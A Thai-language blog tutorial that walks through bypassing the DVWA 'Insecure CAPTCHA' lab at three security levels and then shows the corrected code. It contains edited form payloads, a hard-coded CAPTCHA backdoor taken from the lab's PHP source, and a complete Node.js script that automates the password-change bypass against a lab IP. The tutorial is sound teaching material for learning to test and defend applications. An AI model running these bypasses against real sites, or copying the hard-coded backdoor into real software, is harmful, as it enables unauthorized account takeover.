HomeArtTechHackBlockchain

Insecure CAPTCHA

By Khomkrid Lerdprasert
Published in Hack101
August 24, 2020
1 min read
Insecure CAPTCHA

Insecure CAPTCHA

วันนี้เราจะมาลอง 1 ช่องโหว่ ใน OWASP Insufficient Attack Protection ในเรื่องของ Insecure CAPTCHA กันครับว่า ไอ้ตัว CAPTCHA ที่ถามว่าคุณเป็น Robot ไหมเนี่ย เนี่ย จะโดน By Pass ได้ในกรณีไหนบ้าง เราจะมาดูกันว่าการใช้ CAPTCHA แบบไหน ที่ปลอดภัย และแบบไหนที่ไม่ปลอดภัยกันครับ

  1. แบบแรก Security Level Low คือการให้เรากดที่ CAPTCHA แล้วทำการเปลี่ยนแปลงรหัสผ่าน ถ้า CAPTCHA ถูกต้องระบบจะทำการพาไปยังหน้าที่มีปุ่ม Confirm ให้เปลี่ยนรหัสผ่าน

CAPTCHA
CAPTCHA

CAPTCHA
CAPTCHA

ก่อนอื่น ลอง View Source ดูก่อนว่ามี Params อะไรบ้าง และส่งไปที่ไหน

<form action="#" method="POST" >
<h3>Change your password:</h3>
<br />
<input type="hidden" name="step" value="1" />
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<script src='https://www.google.com/recaptcha/api.js'></script>
<br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='6LfDgsIZAAAAAInL7KA969QfuW-Mi_sy0Xz8fiuw'></div>
<br />
<input type="submit" value="Change" name="Change">
</form>

จาก Code จะพบว่ามีการส่งข้อมูลแบบ POST ไปที่ตัวมันเอง โดยส่ง Params

  • step
  • password_new
  • password_conf
  • g-recaptcha-response
  • Change=Change

เมื่อ submit ไปแล้วระบบจะส่งต่อไปที่ step 2 ซึ่งมีผลลัพธ์ดังรูป

CAPTCHA
CAPTCHA

เมื่อเรา View Source ดูจะพบว่า มีลักษณะดังนี้

<form action="#" method="POST" style="display:none;">
<h3>Change your password:</h3>
<br />
<input type="hidden" name="step" value="1" />
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<script src='https://www.google.com/recaptcha/api.js'></script>
<br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='6LfDgsIZAAAAAInL7KA969QfuW-Mi_sy0Xz8fiuw'></div>
<br />
<input type="submit" value="Change" name="Change">
</form>
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action="#" method="POST">
<input type="hidden" name="step" value="2" />
<input type="hidden" name="password_new" value="password" />
<input type="hidden" name="password_conf" value="password" />
<input type="submit" name="Change" value="Change" />
</form>

โดยระบบจะทำงานอยู่บน url เดิม แต่ hidden form ตัวแรกเอาไว้ และแสดง form ที่ 2 ขึ้นมา โดยมี Params ดังนี้

  • step
  • password_new
  • password_conf
  • Change=Change

จะเห็นว่า เราน่าจะสามารถ By Pass จาก form แรกมา step ที่ 2 ได้เลย ด้วยการเปิด Inspector ใน Browser ขึ้นมา แล้วแก้ไข HTML โต้งๆเลย

CAPTCHA
CAPTCHA

และแทนที่ด้วย form ใหม่ลงไป

<form action="#" method="POST">
<input type="hidden" name="step" value="2" />
<input type="hidden" name="password_new" value="admin" />
<input type="hidden" name="password_conf" value="admin" />
<input type="submit" name="Change" value="Change" />
</form>

CAPTCHA
CAPTCHA

หลังจากนั้นผมลอง logout ออกแล้ว login เข้าใช้งานใหม่ด้วย

  • username: admin
  • password: admin

CAPTCHA
CAPTCHA

สรุปว่าเข้าได้ โดยไม่ต้องผ่าน CAPTCHA แม้แต่น้อย เพราะการวาง Flow การทำงานมันผิดนั่นเองเลยสามารถผ่านได้อย่างง่ายดาย

  1. แต่พอเราลองปรับค่า Security Level ขึ้นมาเป็น medium และทดลองใช้วิธีเดิม ใน Flow การทำงานแบบเดิมเป๊ะๆเลยจะพบกว่าไม่สามารถ by pass ได้ง่ายๆแล้ว

CAPTCHA
CAPTCHA

เมื่อลอง View Source ดูจะพบว่า มีการใช้ Params passed_captcha ในการเช็คว่า CAPTCHA ผ่านหรือไม่ผ่านเพิ่มเข้ามา งั้นก็แก้ง่ายๆเลยครับแบบนี้

<form action="#" method="POST">
<input type="hidden" name="step" value="2" />
<input type="hidden" name="password_new" value="password" />
<input type="hidden" name="password_conf" value="password" />
<input type="hidden" name="passed_captcha" value="true" />
<input type="submit" name="Change" value="Change" />
</form>

เอา form นี้ไปแก้ไขแบบวิธีเดิม แล้วลอง by pass ใหม่อีกรอบ จะพบว่า ทำการข้าม CAPTCHA แล้วไปสู่กระบวนการการเปลี่ยน Password เรียบร้อย

2 level นี้พลาดที่ Programmer เขียน code และออกแบบ flow ไม่รัดกุม

เดี๋ยวเราลองเปลี่ยน Security level ไปเป็น high ดูกันบ้าง

  1. การทำงานของ CAPTCHA ใน mode Security High คือจะมีให้เราเปลี่ยนรหัสผ่านใหม่ และทำการ confirm รหัส ก่อนที่จะกดตกลงต้องเลือกที่ CAPTCHA ก่อน แต่แตกต่างจาก Flow เดิมคือ จะไม่มีการไปหน้าใหม่แล้ว เมื่อเปลี่ยนรหัสปุ๊บ ระบบจะทำการเปลี่ยนรหัสให้ทันที

CAPTCHA
CAPTCHA

CAPTCHA
CAPTCHA

View Source ดูสักหน่อย อะไรที่เพิ่มเข้ามา

<form action="#" method="POST" >
<h3>Change your password:</h3>
<br />
<input type="hidden" name="step" value="1" />
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<script src='https://www.google.com/recaptcha/api.js'></script>
<br /> <div class='g-recaptcha' data-theme='dark' data-sitekey='6LfDgsIZAAAAAInL7KA969QfuW-Mi_sy0Xz8fiuw'></div>
<!-- **DEV NOTE** Response: 'hidd3n_valu3' && User-Agent: 'reCAPTCHA' **/DEV NOTE** -->
<input type='hidden' name='user_token' value='963da875cc8ac8f53bf22c5fb26c45b0' />
<br />
<input type="submit" value="Change" name="Change">
</form>

โดยมี Params ดังนี้

  • step=1
  • password_new
  • password_conf
  • g-recaptcha-response
  • user_token
  • Change=Change

ลองกดส่งโดยไม่ Tick เลือก สรุปว่า เปลี่ยนรหัสไม่ได้ เลยลองไล่ code php ดู

Unknown Vulnerability Source vulnerabilities/captcha/source/high.php

<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
?>

พบว่าบรรทัดนี้ มีการ hard code ไว้ -_-”

$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)

งั้นผมลองใช้ Burp Suite ยิง Params ก่อนเลย จะได้ไม่ต้อง Code นาน ด้วยการ Add scope Website ไว้ก่อนเดี๋ยวงง

CAPTCHA
CAPTCHA

แล้วทำการแก้ Header ตรง User-Agent และ Params g-recaptcha-response ให้ตรงตามที่เค้า hard code ไว้ แล้ว Forward ไปเลยตรงๆ

CAPTCHA
CAPTCHA

Website จะ Response กลับมาว่า ทำการเปลี่ยน Password ได้แล้ว ก็ให้ลอง Logout ออกแล้วลอง Login ดู เราก็จะ By pass แบบ High Level ได้เรียบร้อย อันนี้พลาดเพราะ Programmer ล้วนๆเลย

เราลองเขียน Nodejs ยิงเข้าไป By Pass ดู

const request = require("request")
const cheerio = require('cheerio')
const fs = require('fs')
const ip = `172.16.20.57`
const port = 80
const loginUsername = 'admin'
const loginPassword = 'password'
const loginUrl = `http://${ip}:${port}/login.php`
const url = `http://${ip}:${port}/vulnerabilities/captcha/`
const openPagelogin = (url) => {
return new Promise((resolve, rejects) => {
request({
url: url,
method: 'GET',
}, (err, res, body) => {
const phpid = res.headers['set-cookie'][0].replace('path=/', '')
const securityHigh = res.headers['set-cookie'][res.headers['set-cookie'].length - 1].replace('low', 'high')
const scrap = cheerio.load(body)
const user_token = scrap('input[name="user_token"]').val()
const sessions = {
phpid: phpid,
securityHigh: securityHigh,
userToken: user_token
}
resolve(sessions)
})
})
}
const loginAction = (sessions, username, password) => {
return new Promise((resolve, rejects) => {
request({
url: loginUrl,
method: 'post',
headers: {
Cookie: `${sessions.phpid} ${sessions.securityHigh}`
},
form: {
username: username,
password: password,
user_token: sessions.userToken,
Login: `Login`
}
}, (err, res, body) => {
resolve(body)
})
})
}
const gotoBFPage = (url, sessions) => {
return new Promise((resolve, rejects) => {
request({
url: url,
method: 'get',
headers: {
Cookie: `${sessions.phpid} ${sessions.securityHigh}`
},
}, (err, res, body) => {
const scrap = cheerio.load(body)
const hacking_user_token = scrap('input[name="user_token"]').val()
resolve(hacking_user_token)
})
})
}
const byPassCaptcha = (url, sessions, token) => {
return new Promise((resolve, rejects) => {
const req = request({
url: url,
method: 'post',
headers: {
Cookie: `${sessions.phpid} ${sessions.securityHigh}`,
'User-Agent': 'reCAPTCHA'
},
form: {
step: 1,
password_new: `password`,
password_conf: `password`,
user_token: token,
'g-recaptcha-response': `hidd3n_valu3`,
Change: `Change`
}
}, (err, res, body) => {
const scrap = cheerio.load(body)
const passwordChanged = scrap('pre').text()
resolve(passwordChanged)
})
})
}
const run = async () => {
const sessions = await openPagelogin(loginUrl)
await loginAction(sessions, loginUsername, loginPassword)
let token = await gotoBFPage(url, sessions)
console.log(`token ${token}`)
const result = await byPassCaptcha(url, sessions, token)
console.log(result)
}
run()

หลังจากเรารู้แล้วว่าตะกี้มีการเขียน code พลาดจาก Programmer ตรงที่ดันไป hard code ไว้จุดนึง เราก็ทำการแก้ไขไปให้เป็นประมาณนี้ซะ คือถ้า captcha ไม่ตรง ให้ดีดออกสถานเดียวเลย และให้มีการเช็คพาสเวิดปัจจุบันอีกครั้งก่อนจะเปลี่ยนรหัสผ่านว่าตรงกับรหัสเดิมใน database หรือเปล่า เท่านี้ในตัว DVWA ก็ขึ้นสถานะว่า Impossible แล้วจ้า

$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {

สรุปได้ว่าจริงๆแล้วไอ้ CAPTCHA อ่ะมัน Security อยู่นะ แต่ไอ้คนเอาไปใช้ Implement ต่อเนี่ยแหล่ะ ที่ทำให้มันหลุดได้ง่ายๆ แล้วก็มีคนเขียนแบบนั้นอยู่จริงๆ ทั้งพวกออกแบบ Flow การทำงานผิดๆ หรือพวกเล่น Hard code และพวก debug value ไว้ทดสอบแล้วลืมเอาออก ถ้าเคยทำงานต่อจากคนอื่น น่าจะเจอ ไอ้ code พวกนี้พอสมควร แบบว่า ทำไว้กะใช้ชั่วคราว แต่ใช้ไปใช้มา ยาวยันชั่วโคตร สบายเลย

สรุปได้ว่าจากการทดลองนี้ CAPTCHA จะโดน By Pass ได้ 2 เหตุผลคือ

  • Design Issues
  • Implementation Issues

ไปล่ะจ้าา ผิดพลาดประการใดท้วงติงมาได้ครับ เพราะผมก็ไม่ใช่มืออาชีพทางด้านนี้


Tags

#pentest#kali#hack101#Insecure Captcha

Share

Previous Article
File Inclusion
Khomkrid Lerdprasert

Khomkrid Lerdprasert

Full Stack Life

Related Posts

Aircrack Ng หารหัส wifi ที่บ้าน
October 16, 2021
1 min
© 2024, All Rights Reserved.
Powered By

Quick Links

Author

Social Media